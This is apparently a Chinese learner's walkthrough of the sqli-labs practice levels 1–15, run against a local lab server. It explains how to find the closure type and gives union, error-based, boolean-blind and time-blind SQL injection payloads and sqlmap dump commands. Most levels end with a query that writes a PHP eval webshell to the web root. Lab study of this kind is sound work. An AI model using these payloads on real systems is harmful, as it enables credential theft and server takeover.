sqlibs注入
上次pikachu注入完全是看网上教程跟着做 这次经过一些总结 有了一些经验 可能更加熟悉点
来到第一关页面 可以看到英文提示 请输入id参数

看下id不同值都能返回什么
http://192.168.152.129:88/Less-1/?id=1
http://192.168.152.129:88/Less-1/?id=2


思路应该是这样的:
查看id是否被带入数据库查询 可以加'试一下 但其实很明显这里是带入查询的
确认id是不是注入点 后台有没有参数化查询 或者过滤输入的特殊符号
弄清楚id是什么样的闭合方式 这样可以方便进一步构造查询语句拿数据
有没有回显 回显的字段数 回显位置 没有回显就用报错注入
根据回显字段数 构造库表列查询语句 最终拿到关键数据
判断id是否带入数据库查询 直接加一个' 破坏闭合结构 mysql语法就会报错
http://192.168.152.129:88/Less-1/?id=1'
之所以看到url地址栏有些奇怪字符 是因为get请求参数在url中携带 经过url编码 结构是%xx
xx是原url中字符的ascii码的16进制形式
如 ' ascii码是十进制是39 十六进制是27 '经过url编码就是%27
这里可以看到报错 基本就是带入查询
这里补充一点
url 是 http://192.168.152.129:88/Less-1/?id=1'
id是1' 报错应该是''1'
为什么报错信息显示为 ''1''
MySQL 报错时,不会完整输出整个 SQL 语句,只会截取 错误位置附近的片段,并对片段做 “语法对齐” 处理,导致显示形式和真实 SQL 有差异:
真实错误位置是 '1'' LIMIT 0,1(即 id='1'' LIMIT ...)。
MySQL 解析到这里时,发现单引号不闭合,会把错误位置的字符串片段 “补全” 成可识别的格式(避免显示混乱),所以把 '1'' 显示为 ''1''—— 本质是对错误片段的 “格式化展示”,不是真实 SQL 的原文
也就是说 我们输入url id=1' 报错信息提示 正确闭合 是 id=''1'' 也就是 输入空 id='' id在后端就是''闭合
所以 字符型 闭合方式'' 的注入

想看闭合方式 这里可以 http://192.168.152.129:88/Less-1/?id=1''
没报错的话 可以确定 id 在后端是用一对''闭合 可以猜出来后端查询语句
" SELECT * FROM users WHERE id='$id' LIMIT 0,1"
我们输入http://192.168.152.129:88/Less-1/?id=1'' ==> " SELECT * FROM users WHERE id='$id' '' LIMIT 0,1"
构成两对闭合 就不会报错 能查到数据

接下来 回显 这里初步肉眼判断两个字段 name password 验证一下
http://192.168.152.129:88/Less-1/?id=1'order by 3--+
需要注意 'order 中间不能有空格 没显示 说明不是两个字段
order by N用于按第 N 个字段排序,若 N 超过实际查询字段数,会触发报错,以此确定字段数
http://192.168.152.129:88/Less-1/?id=1'order by 4--+
出现Unknown column '4' in 'order clause' 这种提示 确定3个字段
-- 是 SQL 标准的单行注释符号(后面需要跟一个空格或换行,否则可能不生效)。
+ 在 URL 中是空格的编码(URL 中空格会被编码为+),所以--+ 实际等价于 -- (-- 后面跟一个空格),用于满足-- 对空格的要求,确保注释生效
# 是 MySQL 特有的单行注释符号(不需要空格),会直接注释掉#后面的所有内容,兼容性仅针对 MySQL 数据库。
在sqlibs -- 和 # 都可以用于注释 但#必须url编码一下 而--+不需要
http://192.168.152.129:88/Less-1/?id=1%27order%20by%204%23
http://192.168.152.129:88/Less-1/?id=1'order by 4--+
总结 这两行语句实际上一样效果 仅仅在mysql数据库中


接下来 确定每个字段回显位置
http://192.168.152.129:88/Less-1/?id=-1' union select 1,2,3--+
可以看到回显2,3位置
另外,需要注意 id=1 和 id=-1 两种情况 当id=1会返回正确数据 看不到我们select1,2,3结果 id=-1返回空数据 才能看到我们select 1,2,3查询结果
http://192.168.152.129:88/Less-1/?id=-1' union select 1,2,3--+
http://192.168.152.129:88/Less-1/?id=1' union select 1,2,3--+

尝试查询一些相关信息
http://192.168.152.129:88/Less-1/?id=-1' union select 1,user(),version()--+
http://192.168.152.129:88/Less-1/?id=-1' union select 1,database(),version()--+


也就是说 数据库mysql版本为5.7.26 那么 数据库的库表列相关信息在information_schema中
先查表
http://192.168.152.129:88/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

再查列
http://192.168.152.129:88/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'users'--+

直接拿敏感数据 账号密码
http://192.168.152.129:88/Less-1/?id=-1' union select 1,2,group_concat(username,'+',password) from security.users--+

查看所有数据库用户的账号、主机和加密后的密码
http://192.168.152.129:88/Less-1/?id=-1' union select 1,2,group_concat(user, host, authentication_string) from mysql.user--+
这里的密码经过md5加密

这里 你想 就这些数据库有什么看的 我想看看主机有什么文件
先把文件路径搞出来
http://192.168.152.129:88/Less-1/?id=-1' union select 1,@@datadir,@@basedir--+
Your Login name:C:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26\data\
Your Password:C:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26\
下一步写的是网站文件位置 所以这一步忽略

写个木马进去
前提是新版本MySQL Secure_file_priv参数默认null 限制写文件
为了达到效果 只能my.ini 中Secure_file_priv参数设置为空
靶场用phpstudy集成环境搭建 我们把木马写到网站代码目录下
http://192.168.152.129:88/Less-1/?id=-1' UNION SELECT 1, "<?php eval($_POST[\'cmd\']); ?>", 3 INTO OUTFILE "C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell.php" --+
用中国蚁剑连接木马

网站默认路径 C:\phpStudy_64\phpstudy_pro\WWW
所以就写文件名就可以了 连接密码 cmd



第二关
数字型联合查询
http://192.168.152.129:88/Less-2/?id=1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
报错 关键 '' 这里我们id=1' 报错提示 正确闭合'' 那就是后台没有其他闭合 数字型?
验证下想法

看下字段数
http://192.168.152.129:88/Less-2/?id=1 order by 3--+
这里显示正常 基本确定 数字型注入
http://192.168.152.129:88/Less-2/?id=1 order by 4--+
根据这里报错 确定字段为3
其实这里我感觉和第一关差不多 还是按思路走


看字段显示位置
http://192.168.152.129:88/Less-2/?id=-1 union select 1,2,3--+
这里还是要注意 id=-1 要查不到数据 才显示1,2,3的位置

查数据库版本 用户名 当前数据库名
http://192.168.152.129:88/Less-2/?id=-1 union select 1,user(),database()--+
http://192.168.152.129:88/Less-2/?id=-1 union select 1,version(),database()--+


表
http://192.168.152.129:88/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

列
,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

数据
http://192.168.152.129:88/Less-2/?id=-1 union select 1,2,group_concat(username,'!',password) from security.users--+

数据库登录账号密码
http://192.168.152.129:88/Less-2/?id=-1 union select 1,2,group_concat(user,host,authentication_string) from mysql.user--+

写木马
http://192.168.152.129:88/Less-2/?id=-1 UNION SELECT 1, "<?php eval($_POST[\'cmd\']); ?>", 3 INTO OUTFILE "C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell.php" --+

第三关
字符型')联合查询
http://192.168.152.129:88/Less-3/?id=1'
报错信息如下
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
报错中 ''1'') ''1''是理论上正确格式 我们输入id=1'
由于我们多输入' 自动补全缺的 '1' 也就是 在后端id参数有''闭合
而''1'') 中的 )基本确定是后端格式 就是说 ('id') 这个格式
判断字段数
http://192.168.152.129:88/Less-3/?id=-1') order by 3--+
http://192.168.152.129:88/Less-3/?id=-1') order by 4--+
确认回显位置
http://192.168.152.129:88/Less-3/?id=-1') union select 1,2,3--+



查询 数据库版本 数据库登录用户 库名
http://192.168.152.129:88/Less-3/?id=-1') union select 1,database(),version()--+
http://192.168.152.129:88/Less-3/?id=-1') union select 1,database(),user()--+


查表
http://192.168.152.129:88/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+

查列
http://192.168.152.129:88/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = 'security'--+

查 username password
http://192.168.152.129:88/Less-3/?id=-1') union select 1,2,group_concat(username,'%',password) from security.users--+

查数据库登录用户名 密码
http://192.168.152.129:88/Less-3/?id=-1') union select 1,2,group_concat(user,host,authentication_string) from mysql.user--+

写木马
http://192.168.152.129:88/Less-3/?id=-1') UNION SELECT 1, "<?php eval($_POST[\'cmd\']); ?>", 3 INTO OUTFILE "C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell3.php" --+

第四关
字符型")联合查询
http://192.168.152.129:88/Less-4/?id=1'\
报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1'\") LIMIT 0,1' at line 1
将url和报错信息交给ai可以更加详细的看到报错原因
闭合方式 ("id")
确认字段数
http://192.168.152.129:88/Less-4/?id=1") order by 3--+
http://192.168.152.129:88/Less-4/?id=1") order by 4--+


确认每个字段回显位置
http://192.168.152.129:88/Less-4/?id=-1") union select 1,2,3--+

数据库版本 数据库用户名 当前库名
http://192.168.152.129:88/Less-4/?id=-1") union select 1,version(),database()--+
http://192.168.152.129:88/Less-4/?id=-1") union select 1,user(),database()--+


表
http://192.168.152.129:88/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

列
http://192.168.152.129:88/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+

username password
http://192.168.152.129:88/Less-4/?id=-1") union select 1,2,group_concat(username,'^',password ) from security.users--+

数据库登录用户密码
http://192.168.152.129:88/Less-4/?id=-1") union select 1,2,group_concat(user,host,authentication_string) from mysql.user--+

写木马
http://192.168.152.129:88/Less-4/?id=-1") UNION SELECT 1, "<?php eval($_POST[\'cmd\']); ?>", 3 INTO OUTFILE "C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell4.php" --+

第五关
字符型'报错注入
http://192.168.152.129:88/Less-5/?id=4'
报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''4'' LIMIT 0,1' at line 1
那么 闭合结构 'id'
但其实 你会发现正常查询 没有 回显
http://192.168.152.129:88/Less-5/?id=4

参考网上很多前辈的教程 有布尔盲注和报错注入这两种 其次 sqlmap 一下就可以拿到数据库
但初学者一定要懂原理 这里选择报错注入
数据库名
http://192.168.152.129:88/Less-5/?id=4'or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
详细解释:
updatexml(1, concat(...), 1):核心报错函数
updatexml是 MySQL 的 XML 文档更新函数,语法为 updatexml(目标XML,XPATH路径,替换内容)。
第一个参数1:此处无实际意义,仅为满足函数参数格式(需传入一个 XML 类型或可转换为 XML 的值,用1占位)。
concat(...):故意传入非法的 XPATH 路径(含特殊字符~),导致函数执行失败并报错,同时将concat(...)拼接的内容包含在报错信息中。
第三个参数1:同样无实际意义,仅为满足函数参数格式,不影响报错结果。
核心作用:通过构造非法参数触发报错,将需要窃取的数据 “带” 出数据库。
concat(0x7e, ... , 0x7e):内容拼接函数
concat是字符串拼接函数,用于将多个字符串合并为一个;0x7e是十六进制编码,对应 ASCII 字符~(波浪线)。
0x7e(即~):作为数据的 “分隔符”,方便从报错信息中快速识别出窃取到的核心数据(避免与报错自带的其他文字混淆)。

表名
http://192.168.152.129:88/Less-5/?id=4'or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+
详细解释
substr(...,1,31) 截取查询结果前 31 个字符,因updatexml报错信息长度有限制。
select group_concat(table_name) from information_schema.tables where table_schema=database() 核心查询语句,获取当前数据库(database())中所有表名(table_name)并拼接成字符串。

列名
http://192.168.152.129:88/Less-5/?id=4'or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)--+

数据
http://192.168.152.129:88/Less-5/?id=4'or updatexml(1,concat(0x7e,substr((select group_concat(username , '^^',password) from security.users ),1,31),0x7e),1)--+

数据库登录用户名 密码
http://192.168.152.129:88/Less-5/?id=4'or updatexml(1,concat(0x7e,substr((select group_concat(user , '^^',host,'^^',authentication_string) from mysql.user ),1,31),0x7e),1)--+
这里呢 之前可以查到多个账号密码 我想是substr限制了输出长度 换种办法 逐条查询 用limit
http://192.168.152.129:88/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select concat(user,'^^',host,'^^',authentication_string) from mysql.user limit 0,1)),1)--+
http://192.168.152.129:88/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select concat(user,'^^',host,'^^',authentication_string) from mysql.user limit 1,1)),1)--+
http://192.168.152.129:88/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select concat(user,'^^',host,'^^',authentication_string) from mysql.user limit 2,1)),1)--+


最后一步 依旧写一个木马
之前一直问ai如何用报错注入写木马 给我好几个语句 又不能用
核心结论:报错注入本身无法直接 “写木马”(文件写入),但可通过 “分段泄露写入命令 + 二次执行” 的流程实现,需在合法授权的内网靶场环境中操作,核心依赖 MySQL 的INTO OUTFILE文件写入权限。
核心逻辑梳理
报错注入的本质是 “泄露数据”,而非 “执行写入操作”。合法靶场中实现 “写木马” 的完整流程:
用报错注入分段泄露 “包含木马代码的文件写入 SQL 命令”(规避字符长度限制);
拼接泄露的完整命令,在支持联合查询 / 堆查询的注入点执行,完成木马写入;
前提:靶场 MySQL 开启FILE权限(secure_file_priv为空或指定目标路径),且目标路径有写入权限
看的我头大 后来突发其想 说不定联合注入union select 这一关也能写进去 事实证明还真可以
http://192.168.152.129:88/Less-5/?id=-1' UNION SELECT 1, '<?php @eval($_POST["cmd"]); ?>', 3 INTO OUTFILE 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell5.php'--+

第六关
字符型"报错注入
http://192.168.152.129:88/Less-6/?id=1
不知到则么回事 加什么符号不报错 一时间想不到 " 确实也只有"报错
无画面的核心原因
靶场设计:Less-6 通常为 “无回显” 或 “仅报错回显” 设计,正常输入id=1时仅返回页面框架,不显示查询结果,并非访问失败。
符号无效:除"外的其他符号,要么未触发语法错误(无报错输出),要么导致查询结果为空(无数据回显),所以看不到有效画面。
http://192.168.152.129:88/Less-6/?id=1"
那么 应该和上一关 换汤不换药
数据库名
http://192.168.152.129:88/Less-6/?id=4"or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

表名
http://192.168.152.129:88/Less-6/?id=4"or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+

列名
http://192.168.152.129:88/Less-6/?id=4"or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)--+

数据
http://192.168.152.129:88/Less-6/?id=4"or updatexml(1,concat(0x7e,substr((select group_concat(username , '^^',password) from security.users limit 0,1 ),1,31),0x7e),1)--+
`
数据库登录用户名 密码
http://192.168.152.129:88/Less-6/?id=-1"or updatexml(1,concat(0x7e,(select concat(user,'^^',host,'^^',authentication_string) from mysql.user limit 0,1)),1)--+
http://192.168.152.129:88/Less-6/?id=-1"or updatexml(1,concat(0x7e,(select concat(user,'^^',host,'^^',authentication_string) from mysql.user limit 1,1)),1)--+
http://192.168.152.129:88/Less-6/?id=-1"or updatexml(1,concat(0x7e,(select concat(user,'^^',host,'^^',authentication_string) from mysql.user limit 2,1)),1)--+



写木马
http://192.168.152.129:88/Less-6/?id=-1" UNION SELECT 1, '<?php @eval($_POST["cmd"]); ?>', 3 INTO OUTFILE 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell6.php'--+

第七关
字符型'))布尔盲注 sqlmap
关于这一关
第一种 网上教程有布尔盲注 先爆破数据库名长度 再接着操作
第二种就时间盲注 效果不明显
我认为sqlmap跑的话最好
这里还是采用sqlmap 简单 效果明显
sqlmap -u http://192.168.152.129:88/Less-7/?id=1

这里可以看到 sqlmap 测试出布尔盲注 基于时间的布尔盲注
识别数据库 mysql php版本 中间件apache
库
sqlmap -u http://192.168.152.129:88/Less-7/?id=1 --dbs

指定security库 跑表
sqlmap -u http://192.168.152.129:88/Less-7/?id=1 -D security --tables

跑列
sqlmap -u http://192.168.152.129:88/Less-7/?id=1 -D security -T users --columns

数据
sqlmap -u http://192.168.152.129:88/Less-7/?id=1 -D security -T users --dump

数据库登录用户名 密码
sqlmap -u http://192.168.152.129:88/Less-7/?id=1 -D mysql -T user --dump

盲注的话 (不报错就是语句正确)
数据库名长度
http://192.168.152.129:88/Less-7/?id=1')) and length((select database()))=8 --+
验证数据库名 security
http://192.168.152.129:88/Less-7/?id=1')) and mid(database(),1,1)='s'--+
http://192.168.152.129:88/Less-7/?id=1')) and mid(database(),8,1)='y'--+
表名第一个字符是否为u
http://192.168.152.129:88/Less-7/?id=1')) and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117--+
验证password,username 第一个字母是否大写
http://192.168.152.129:88/Less-7/?id=1')) and ascii(substr((select group_concat(password,username) from users limit 0,1),1,1))>=65--+
实际XPATH syntax error: 'Dumb,Dumb'
写木马
http://192.168.152.129:88/Less-7/?id=-1')) UNION SELECT 1, '<?php @eval($_POST["cmd"]); ?>', 3 INTO OUTFILE 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell7.php'--+


第八关
字符型'布尔盲注
http://192.168.152.129:88/Less-8/?id=1
http://192.168.152.129:88/Less-8/?id=-1'--+
根据第七关的经验 闭合成功是显示正常画面 闭合 '$id'

这里没有报错 回显 看不到效果 用sqlmap最好
sqlmap -u http://192.168.152.129:88/Less-8/?id=1
sqlmap -u http://192.168.152.129:88/Less-8/?id=1 --dbs
sqlmap -u http://192.168.152.129:88/Less-8/?id=1 -D security --tables
sqlmap -u http://192.168.152.129:88/Less-8/?id=1 -D security -T users --columns
sqlmap -u http://192.168.152.129:88/Less-8/?id=1 -D security -T users -C 'username','password' --dump
sqlmap -u http://192.168.152.129:88/Less-8/?id=1 -D mysql -T user -C 'user','authentication_string' --dump
写木马
http://192.168.152.129:88/Less-8/?id=-1' UNION SELECT 1, '<?php @eval($_POST["cmd"]); ?>', 3 INTO OUTFILE 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell8.php'--+

用left()函数的布尔盲注
MySQL left()函数用来截取的 语法 LEFT(str, length)
猜数据库版本号
http://192.168.152.129:88/Less-8/?id=1' and left(version(),1)=5 --+
猜测security为数据库,页面返回正常
http://192.168.152.129:88/Less-8/?id=1' and left(database(),1)='s'--+
http://192.168.152.129:88/Less-8/?id=1' and left(database(),2)='se'--+
http://192.168.152.129:88/Less-8/?id=1' and left(database(),8)='sec' --+
http://192.168.152.129:88/Less-8/?id=1' and left(database(),8)='secu' --+
http://192.168.152.129:88/Less-8/?id=1' and left(database(),8)='secur' --+
http://192.168.152.129:88/Less-8/?id=1' and left(database(),8)='securi' --+
http://192.168.152.129:88/Less-8/?id=1' and left(database(),8)='securit' --+
http://192.168.152.129:88/Less-8/?id=1' and left(database(),8)='security' --+
推测表名
http://192.168.152.129:88/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
http://192.168.152.129:88/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+
两个页面不一样
推断出securrity第一个表的第一个字符为e
http://192.168.152.129:88/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108 --+
http://192.168.152.129:88/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109 -- +
推断出securrity第一个表第二个字符为m emails
...
数据 密码第一个字符大写D
http://192.168.152.129:88/Less-8/?id=1' and ascii(substr((select group_concat(password,username) from users limit 0,1),1,1))>=68--+
http://192.168.152.129:88/Less-8/?id=1' and ascii(substr((select group_concat(password,username) from users limit 0,1),1,1))>=69--+
第九关
字符型'时间盲注
时间注入 如果遇到了 可以用sqlmap 现在学习过程的话 手工
无论如何去闭合 都没有报错信息 只能通过时间来确定
猜测数据库名长度 8
http://192.168.152.129:88/Less-9/?id=1' and if(length(database())=8,sleep(5),1)--+
猜测数据库名第一个字母 s
http://192.168.152.129:88/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
if函数:if(expr1,expr2,expr3)是一个条件判断函数,如果expr1为真,则返回expr2,否则返回expr3。在if(ascii(substr(database(),1,1))=115,1,sleep(5))中,ascii(substr(database(),1,1))=115是判断条件,1是条件为真时执行的语句,sleep(5)是条件为假时执行的语句。
ascii函数:ascii()函数用于将某个字符转换为 ASCII 值。在这里,它用于获取从数据库名称中截取的字符的 ASCII 值。
substr函数:substr(string, start, length)用于从字符串中截取指定长度的子字符串。
substr(database(),1,1)表示从database()函数返回的当前数据库名称中,截取第一个字符。
database函数:database()函数用于返回当前数据库的名称。
sleep函数:sleep(5)表示让数据库暂停 5 秒。如果ascii(substr(database(),1,1))=115这个条件为真,页面会直接显示(因为执行的是1);如果条件为假,页面会等待 5 秒后才显示(因为执行的是sleep(5))
浏览器页面 f12建 网络 看时间 5秒说明正确

猜测数据库第一个表第一个字母 e
http://192.168.152.129:88/Less-9/?id=1' and
if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)--+
users表的列第一个字段id 第一个字母i
http://192.168.152.129:88/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+
username 第一个字母u
http://192.168.152.129:88/Less-9/?id=1' and if(ascii(substr(( select username from security.users limit 0,1 ),1,1)=68),sleep(5),1)--+
写木马
http://192.168.152.129:88/Less-9/?id=-1' UNION SELECT 1, '<?php @eval($_POST["cmd"]); ?>', 3 INTO OUTFILE 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell9.php'--+

第十关
字符型"时间盲注
猜测数据库名长度 8
http://192.168.152.129:88/Less-10/?id=1" and if(length(database())=8,sleep(5),1)--+
猜测数据库名第一个字母 s
http://192.168.152.129:88/Less-10/?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
猜测数据库第一个表第一个字母 e
http://192.168.152.129:88/Less-10/?id=1" and
if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)--+
users表的列第一个字段id 第一个字母i
http://192.168.152.129:88/Less-10/?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+
username 第一个字母u
http://192.168.152.129:88/Less-10/?id=1" and if(ascii(substr(( select username from security.users limit 0,1 ),1,1)=68),sleep(5),1)--+
写木马
http://192.168.152.129:88/Less-10/?id=-1" UNION SELECT 1, '<?php @eval($_POST["cmd"]); ?>', 3 INTO OUTFILE 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell10.php'--+

第十一关
post user 字符型'联合查询

终于有回显了 之间pikachu靶场类似 bp抓包 username 注入点
username 框输入 d'
根据报错信息 ''闭合
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''d'' and password='' LIMIT 0,1' at line 1
还是按照思路 字段数 回显位置
uname=-1'order by 2--+&passwd=Dumb&submit=Submit

uname=-1'order by 3--+&passwd=Dumb&submit=Submit
字段数为2

回显位置
uname=-1' union select 1,2--+&passwd=Dumb&submit=Submit

数据库版本 数据库登录名 数据库库名
uname=-1' union select database(),version()--+&passwd=Dumb&submit=Submit
uname=-1' union select database(),user()--+&passwd=Dumb&submit=Submit


表名 因为显示字符有限 只能一条一条查询
uname=-1' union select 1, table_name from information_schema.tables where table_schema='security' limit 0,1--+&passwd=Dumb&submit=Submit
uname=-1' union select 1, table_name from information_schema.tables where table_schema='security' limit 1,1--+&passwd=Dumb&submit=Submit
uname=-1' union select 1, table_name from information_schema.tables where table_schema='security' limit 2,1--+&passwd=Dumb&submit=Submit
uname=-1' union select 1, table_name from information_schema.tables where table_schema='security' limit 3,1--+&passwd=Dumb&submit=Submit

列名
uname=-1' union select 1, column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1--+&passwd=Dumb&submit=Submit
uname=-1' union select 1, column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1--+&passwd=Dumb&submit=Submit
uname=-1' union select 1, column_name from information_schema.columns where table_name='users' and table_schema='security' limit 2,1--+&passwd=Dumb&submit=Submit

数据
uname=-1' union select 1, group_concat(username,password) from security.users --+&passwd=Dumb&submit=Submit

mysql 登录名密码
uname=-1' union select 1, group_concat(user,authentication_string,host) from mysql.users limit --+&passwd=Dumb&submit=Submit

写木马
uname=-1' UNION SELECT '<?php @eval($_POST["cmd"]); ?>' ,1 INTO OUTFILE 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell11.php'--+&passwd=Dumb&submit=Submit

第十二关
post user 字符型")联合查询
报错 ")闭合
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '") and password=("") LIMIT 0,1' at line 1
和上一关 思路一样
字段数 回显位置
uname=-1")order by 2--+&passwd=Dumb&submit=Submit
uname=-1")order by 3--+&passwd=Dumb&submit=Submit
uname=-1") union select 1,2--+&passwd=Dumb&submit=Submit
数据库版本 登录名 用户名
uname=-1") union select database(),version()--+&passwd=Dumb&submit=Submit
uname=-1") union select database(),user()--+&passwd=Dumb&submit=Submit
表名
uname=-1") union select 1, table_name from information_schema.tables where table_schema='security' limit 0,1--+&passwd=Dumb&submit=Submit
uname=-1") union select 1, table_name from information_schema.tables where table_schema='security' limit 1,1--+&passwd=Dumb&submit=Submit
uname=-1") union select 1, table_name from information_schema.tables where table_schema='security' limit 2,1--+&passwd=Dumb&submit=Submit
uname=-1") union select 1, table_name from information_schema.tables where table_schema='security' limit 3,1--+&passwd=Dumb&submit=Submit
列名
uname=-1") union select 1, column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1--+&passwd=Dumb&submit=Submit
uname=-1") union select 1, column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1--+&passwd=Dumb&submit=Submit
uname=-1") union select 1, column_name from information_schema.columns where table_name='users' and table_schema='security' limit 2,1--+&passwd=Dumb&submit=Submit
uname=-1") union select 1, group_concat(username,password) from security.users --+&passwd=Dumb&submit=Submit
mysql.users --> user authentication_string
uname=-1") union select 1, group_concat(user,authentication_string,host) from mysql.users limit --+&passwd=Dumb&submit=Submit
写木马
uname=-1") UNION SELECT '<?php @eval($_POST["cmd"]); ?>' ,1 INTO OUTFILE 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell12.php'--+&passwd=Dumb&submit=Submit

第十三关
post user 字符型')报错注入
正确输入账号密码 没有回显

随便一个字符' 闭合')
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') and password=('') LIMIT 0,1' at line 1
无回显 那就是报错注入了
库名
uname=1')or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&passwd=&submit=Submit
.
表名
uname=1') or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()
),1,31),0x7e),1)--+&passwd=d&submit=Submit

列名
uname=1')or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,31),0x7e),1) --+&passwd=d&submit=Submit

数据
uname=1')or updatexml(1,concat(0x7e,substr((select group_concat(username,password) from security.users),1,31),0x7e),1)--+&passwd=d&submit=Submit

数据库的登录账号密码
uname=1')or updatexml(1,concat(0x7e,substr((select group_concat(user,authentication_string) from mysql.user limit 0,1),1,31),0x7e),1)--+&passwd=d&submit=Submit

写木马
uname=1') union select 1,'<?php @eval($_POST["cmd"]);?>' into outfile 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell13.php'--+&passwd=d&submit=Submit

第十四关
post user 字符型"报错注入
输入 "
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '" and password="" LIMIT 0,1' at line 1
闭合 "
库名
uname=1"or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&passwd=&submit=Submit
表名
uname=1" or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()
),1,31),0x7e),1)--+&passwd=d&submit=Submit
列名
uname=1"or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,31),0x7e),1) --+&passwd=d&submit=Submit
数据
uname=1"or updatexml(1,concat(0x7e,substr((select group_concat(username,password) from security.users),1,31),0x7e),1)--+&passwd=d&submit=Submit
数据库的登录账号密码
uname=1"or updatexml(1,concat(0x7e,substr((select group_concat(user,authentication_string) from mysql.user limit 0,1),1,31),0x7e),1)--+&passwd=d&submit=Submit
写木马
uname=1"union select 1,'<?php @eval($_POST["cmd"]);?>' into outfile 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell14.php'--+&passwd=d&submit=Submit

第十五关
post user 字符型'布尔盲注
username 输入框 a' or 1 -- a 显示登录成功 意味着 username参数为字符型注入点 闭合''
这里 没报错 没回显 布尔盲注 或者 基于时间的布尔盲注 但就算手工注入啥页面效果看不到 还是用sqlmap跑
数据库名
sqlmsqlmap -u "http://192.168.152.129:88/Less-15/?id=1" --data "uname=d&passwd=d&submit=Submit" -p "uname,passwd" --dbs --thread 5 --batch

security库所有表名
sqlmap -u "http://192.168.152.129:88/Less-15/?id=1" --data "uname=d&passwd=d&submit=Submit" -p "uname,passwd" -D security --tables --thread 5 --batch

security.users列
sqlmap -u "http://192.168.152.129:88/Less-15/?id=1" --data "uname=d&passwd=d&submit=Submit" -p "uname,passwd" -D security -T users --columns --thread 5 --batch

数据指定字段
sqlmap -u "http://192.168.152.129:88/Less-15/?id=1" --data "uname=d&passwd=d&submit=Submit" -p "uname,passwd" -D security -T users -C "username,password" --dump --thread 5 --batch

sqlmap -u "http://192.168.152.129:88/Less-15/?id=1" --data "uname=d&passwd=d&submit=Submit" -p "uname,passwd" -D mysql -T user -C "user,authentication_string" --dump --thread 5 --batch

写木马
